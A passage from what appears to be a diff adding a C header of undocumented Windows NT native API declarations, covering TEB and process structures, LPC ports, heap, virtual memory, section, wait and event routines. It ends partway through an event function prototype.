_TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#ifdef _M_X64 + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#ifdef _M_X64 + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#ifdef _M_X64 + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SessionAware : 1; + USHORT SpareSameTebBits : 4; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; + PVOID ReservedForWdf; +} TEB, *PTEB; + +/** +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + PTEB_ACTIVE_FRAME Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + CHAR * FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +// +// Thread environment block +// + +typedef struct _TEB +{ + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + ULONG CurrentLocale; + ULONG FpSoftwareStatusRegister; + VOID * SystemReserved1[54]; + LONG ExceptionCode; + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[36]; + ULONG TxFsContext; + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG Win32ClientInfo[62]; + VOID * glDispatchTable[233]; + ULONG glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + ULONG LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + VOID * TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + VOID * DbgSsReserved[2]; + ULONG HardErrorMode; + VOID * Instrumentation[9]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + UCHAR SpareBool0; + UCHAR SpareBool1; + UCHAR SpareBool2; + UCHAR IdealProcessor; + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG SoftPatchPtr1; + PVOID ThreadPoolData; + VOID * * TlsExpansionSlots; + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + PVOID CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + WORD CrossTebFlags; + ULONG SpareCrossTebBits: 16; + WORD SameTebFlags; + ULONG DbgSafeThunkCall: 1; + ULONG DbgInDebugPrint: 1; + ULONG DbgHasFiberData: 1; + ULONG DbgSkipThreadAttach: 1; + ULONG DbgWerInShipAssertCode: 1; + ULONG DbgRanProcessInit: 1; + ULONG DbgClonedThread: 1; + ULONG DbgSuppressDebugMsg: 1; + ULONG SpareSameTebBits: 8; + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + UINT64 LastSwitchTime; + UINT64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +} TEB, *PTEB; + +*/ +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + + + +#define NtCurrentProcess() ((HANDLE) -1) +#define NtCurrentThread() ((HANDLE) -2) + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtSuspendProcess( + IN HANDLE ProcessHandle + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtResumeProcess( + IN HANDLE ProcessHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSAPI + NTSTATUS + NTAPI + NtQueryInformationThread( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + +//------------------------------------------------------------------------------ +// LPC Functions + +#define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC + +// LPC connection types +typedef enum _LPC_TYPE +{ + LPC_NEW_MESSAGE, // (0) A new message + LPC_REQUEST, // (1) A request message + LPC_REPLY, // (2) A reply to a request message + LPC_DATAGRAM, // (3) + LPC_LOST_REPLY, // (4) + LPC_PORT_CLOSED, // (5) Send when port is deleted + LPC_CLIENT_DIED, // (6) Messages to thread termination ports + LPC_EXCEPTION, // (7) Messages to thread exception ports + LPC_DEBUG_EVENT, // (8) Messages to thread debug port + LPC_ERROR_EVENT, // (9) Used by NtRaiseHardError + LPC_CONNECTION_REQUEST // (A) Used by NtConnectPort + +} LPC_TYPE, *PLPC_TYPE; + +// +// Define header for Port Message +// + +typedef struct _PORT_MESSAGE +{ + USHORT DataLength; // Length of data following the header (bytes) + USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE) + USHORT Type; // Type of the message (See LPC_TYPE enum) + USHORT VirtualRangesOffset; // Offset of array of virtual address ranges + CLIENT_ID ClientId; // Client identifier of the message sender + ULONG MessageId; // Identifier of the particular message instance + union + { + ULONG CallbackId; // + ULONG ClientViewSize; // Size, in bytes, of section created by the sender + }; + +} PORT_MESSAGE, *PPORT_MESSAGE; + +// +// Define structure for initializing shared memory on the caller's side of the port +// + +typedef struct _PORT_VIEW { + + ULONG Length; // Size of this structure + HANDLE SectionHandle; // Handle to section object with + // SECTION_MAP_WRITE and SECTION_MAP_READ + ULONG SectionOffset; // The offset in the section to map a view for + // the port data area. The offset must be aligned + // with the allocation granularity of the system. + ULONG ViewSize; // The size of the view (in bytes) + PVOID ViewBase; // The base address of the view in the creator + // + PVOID ViewRemoteBase; // The base address of the view in the process + // connected to the port. +} PORT_VIEW, *PPORT_VIEW; + +// +// Define structure for shared memory coming from remote side of the port +// + +typedef struct _REMOTE_PORT_VIEW { + + ULONG Length; // Size of this structure + ULONG ViewSize; // The size of the view (bytes) + PVOID ViewBase; // Base address of the view + +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +/*++ + + NtCreatePort + ============ + + Creates a LPC port object. The creator of the LPC port becomes a server + of LPC communication + + PortHandle - Points to a variable that will receive the + port object handle if the call is successful. + + ObjectAttributes - Points to a structure that specifies the object s + attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE, + OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object. + + MaxConnectionInfoLength - The maximum size, in bytes, of data that can + be sent through the port. + + MaxMessageLength - The maximum size, in bytes, of a message + that can be sent through the port. + + MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for + message storage. Zero means default value. + + ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148). + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN ULONG MaxPoolUsage + ); + + +/*++ + + NtConnectPort + ============= + + Creates a port connected to a named port (cliend side). + + PortHandle - A pointer to a variable that will receive the client + communication port object handle value. + + PortName - Points to a structure that specifies the name + of the port to connect to. + + SecurityQos - Points to a structure that specifies the level + of impersonation available to the port listener. + + ClientView - Optionally points to a structure describing + the shared memory region used to send large amounts of data + to the listener; if the call is successful, this will be updated. + + ServerView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory region + used by the listener to send large amounts of data to the + caller. + + MaxMessageLength - Optionally points to a variable that receives the size, + in bytes, of the largest message that can be sent through the port. + + ConnectionInformation - Optionally points to a caller-allocated + buffer or variable that specifies connect data to send to the listener, + and receives connect data sent by the listener. + + ConnectionInformationLength - Optionally points to a variable that + specifies the size, in bytes, of the connect data to send + to the listener, and receives the size of the connect data + sent by the listener. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +/*++ + + NtListenPort + ============ + + Listens on a port for a connection request message on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ConnectionRequest - Points to a caller-allocated buffer + or variable that receives the connect message sent to + the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtAcceptConnectPort + =================== + + Accepts or rejects a connection request on the server side. + + PortHandle - Points to a variable that will receive the port object + handle if the call is successful. + + PortContext - A numeric identifier to be associated with the port. + + ConnectionRequest - Points to a caller-allocated buffer or variable + that identifies the connection request and contains any connect + data that should be returned to requestor of the connection + + AcceptConnection - Specifies whether the connection should + be accepted or not + + ServerView - Optionally points to a structure describing + the shared memory region used to send large amounts of data to the + requestor; if the call is successful, this will be updated + + ClientView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory + region used by the requestor to send large amounts of data to the + caller + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN PVOID PortContext OPTIONAL, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT PPORT_VIEW ServerView OPTIONAL, + OUT PREMOTE_PORT_VIEW ClientView OPTIONAL + ); + +/*++ + + NtCompleteConnectPort + ===================== + + Completes the port connection process on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + +/*++ + + NtRequestPort + ============= + + Sends a request message to a port (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestPort ( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtRequestWaitReplyPort + ====================== + + Sends a request message to a port and waits for a reply (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + + ReplyMessage - Points to a caller-allocated buffer or variable + that receives the reply message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyPort + =========== + + Sends a reply message to a port (Server side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + +/*++ + + NtReplyWaitReplyPort + ==================== + + Sends a reply message to a port and waits for a reply message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyWaitReceivePort + ====================== + + Optionally sends a reply message to a port and waits for a + message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + PortContext - Optionally points to a variable that receives + a numeric identifier associated with the port. + + ReplyMessage - Optionally points to a caller-allocated buffer + or variable that specifies the reply message to send to the port. + + ReceiveMessage - Points to a caller-allocated buffer or variable + that receives the message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT PVOID *PortContext OPTIONAL, + IN PPORT_MESSAGE ReplyMessage OPTIONAL, + OUT PPORT_MESSAGE ReceiveMessage + ); + +//----------------------------------------------------------------------------- +// Heap functions + +#define HEAP_NO_SERIALIZE 0x00000001 +#define HEAP_GROWABLE 0x00000002 +#define HEAP_GENERATE_EXCEPTIONS 0x00000004 +#define HEAP_ZERO_MEMORY 0x00000008 +#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010 +#define HEAP_TAIL_CHECKING_ENABLED 0x00000020 +#define HEAP_FREE_CHECKING_ENABLED 0x00000040 +#define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080 +#define HEAP_CREATE_ALIGN_16 0x00010000 +#define HEAP_CREATE_ENABLE_TRACING 0x00020000 +#define HEAP_MAXIMUM_TAG 0x0FFF +#define HEAP_PSEUDO_TAG_FLAG 0x8000 + +// +// Data structure for heap definition. This includes various +// sizing parameters and callback routines, which, if left NULL, +// result in default behavior +// + +typedef struct RTL_HEAP_PARAMETERS { + ULONG Length; //sizeof(RTL_HEAP_PARAMETERS) + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG MaximumAllocationSize; + ULONG VirtualMemoryThreshold; + ULONG InitialCommit; + ULONG InitialReserve; + PVOID CommitRoutine; + ULONG Reserved; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + + +#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap) + + +NTSYSAPI +HANDLE +NTAPI +RtlCreateHeap ( + IN ULONG Flags, + IN PVOID BaseAddress OPTIONAL, + IN ULONG SizeToReserve, + IN ULONG SizeToCommit, + IN BOOLEAN Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Definition OPTIONAL + ); + + +NTSYSAPI +ULONG +NTAPI +RtlDestroyHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN ULONG Size + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +ULONG +NTAPI +RtlCompactHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address, + IN ULONG Size + ); + + +NTSYSAPI +ULONG +NTAPI +RtlSizeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Virtual memory functions + +NTSYSAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + OUT PVOID Buffer, + IN ULONG NumberOfBytesToRead, + OUT PULONG NumberOfBytesRead OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN ULONG NumberOfBytesToWrite, + OUT PULONG NumberOfBytesWritten OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Section functions + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 + +} SECTION_INHERIT; + + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, + SectionImageInformation + +} SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS; + + +/*++ + + NtCreateSection + =============== + + Creates a section object. + + SectionHandle - Points to a variable that will receive the section + object handle if the call is successful. + + DesiredAccess - Specifies the type of access that the caller requires + to the section object. This parameter can be zero, or any combination + of the following flags: + + SECTION_QUERY - Query access + SECTION_MAP_WRITE - Can be written when mapped + SECTION_MAP_READ - Can be read when mapped + SECTION_MAP_EXECUTE - Can be executed when mapped + SECTION_EXTEND_SIZE - Extend access + SECTION_ALL_ACCESS - All of the preceding + + STANDARD_RIGHTS_REQUIRED + + ObjectAttributes - Points to a structure that specifies the object s attributes. + OBJ_OPENLINK is not a valid attribute for a section object. + + MaximumSize - Optionally points to a variable that specifies the size, + in bytes, of the section. If FileHandle is zero, the size must be + specified; otherwise, it can be defaulted from the size of the file + referred to by FileHandle. + + SectionPageProtection - The protection desired for the pages + of the section when the section is mapped. This parameter can take + one of the following values: + + PAGE_READONLY + PAGE_READWRITE + PAGE_WRITECOPY + PAGE_EXECUTE + PAGE_EXECUTE_READ + PAGE_EXECUTE_READWRITE + PAGE_EXECUTE_WRITECOPY + + AllocationAttributes - The attributes for the section. This parameter must + be a combination of the following values: + + SEC_BASED 0x00200000 // Map section at same address in each process + SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages + SEC_IMAGE 0x01000000 // Map section as an image + SEC_VLM 0x02000000 // Map section in VLM region + SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage + SEC_COMMIT 0x08000000 // Commit pages; the default behavior + SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable + + FileHandle - Identifies the file from which to create the section object. + The file must be opened with an access mode compatible with the protection + flags specified by the Protect parameter. If FileHandle is zero, + the function creates a section object of the specified size backed + by the paging file rather than by a named file in the file system. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Synchronization + +// +// Wait type +// + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny + } WAIT_TYPE; + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Event support + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation // = 0 +} EVENT_INFORMATION_CLASS; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +// +// Event handling routines +// + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI 